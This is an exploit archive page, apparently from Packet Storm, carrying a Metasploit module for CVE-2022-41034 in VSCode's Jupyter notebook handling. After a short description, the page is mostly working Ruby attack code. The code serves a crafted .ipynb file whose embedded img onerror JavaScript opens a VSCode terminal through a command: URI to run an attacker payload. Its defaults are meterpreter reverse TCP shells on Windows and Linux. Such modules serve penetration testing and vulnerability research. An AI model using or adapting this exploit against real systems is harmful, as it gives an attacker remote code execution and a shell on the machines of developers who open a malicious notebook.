exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VSCode ipynb Remote Code Execution

VSCode ipynb Remote Code Execution
Posted Jun 11, 2024
Authored by h00die, Zemnmez | Site metasploit.com

VSCode when opening a Jupyter notebook (.ipynb) file bypasses the trust model. On versions v1.4.0 through v1.71.1, its possible for the Jupyter notebook to embed HTML and javascript, which can then open new terminal windows within VSCode. Each of these new windows can then execute arbitrary code at startup. During testing, the first open of the Jupyter notebook resulted in pop-ups displaying errors of unable to find the payload exe file. The second attempt at opening the Jupyter notebook would result in successful execution. Successfully tested against VSCode 1.70.2 on Windows 10.

tags | exploit, arbitrary, javascript
systems | windows
advisories | CVE-2022-41034
SHA-256 | dfacdfad1b8092f162656aa7bc4778fc74536b788b7075dfea96dafa5efb29f3

VSCode ipynb Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VSCode ipynb Remote Development RCE',
'Description' => %q{
VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.
On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed
HTML and javascript, which can then open new terminal windows within VSCode.
Each of these new windows can then execute arbitrary code at startup.

During testing, the first open of the Jupyter notebook resulted in pop-ups
displaying errors of unable to find the payload exe file. The second attempt
at opening the Jupyter notebook would result in successful exeuction.

Successfully tested against VSCode 1.70.2 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # metasploit module
'Zemnmez'
],
'References' => [
['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],
['CVE', '2022-41034'],
['URL', 'https://github.com/andyhsu024/CVE-2022-41034']
],
'DisclosureDate' => '2022-11-22',
'Privileged' => false,
'Arch' => ARCH_CMD,
'Stance' => Stance::Aggressive,
'Payload' => { 'BadChars' => '&"' },
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
}

}
],
[
'Linux File-Dropper',
{
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 3_600, # 1hr
'URIPATH' => 'project.ipynb'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
# on windows it will say the final payload can't be found
# however, it is, seems to be a timing issue, 2nd exploit attempt
# works perfectly
'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options(
[
OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
]
)
end

def check
CheckCode::Unsupported
end

def exploit
unless datastore['URIPATH'].end_with? '.ipynb'
fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')
end
print_status('Starting up web service...')
start_service
sleep(datastore['WFSDELAY'])
end

def on_request_uri(cli, request)
super unless request.uri.end_with? datastore['URIPATH']

if target['Platform'] == 'win'
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
else
config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
end

pload = JSON.dump({ 'config' => config })
pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works

ipynb = %|{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src=a onerror=\\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()\\"/>"
]
}
]}|

send_response(cli, ipynb, {
'Connection' => 'close',
'Pragma' => 'no-cache',
'Access-Control-Allow-Origin' => '*'
})

print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close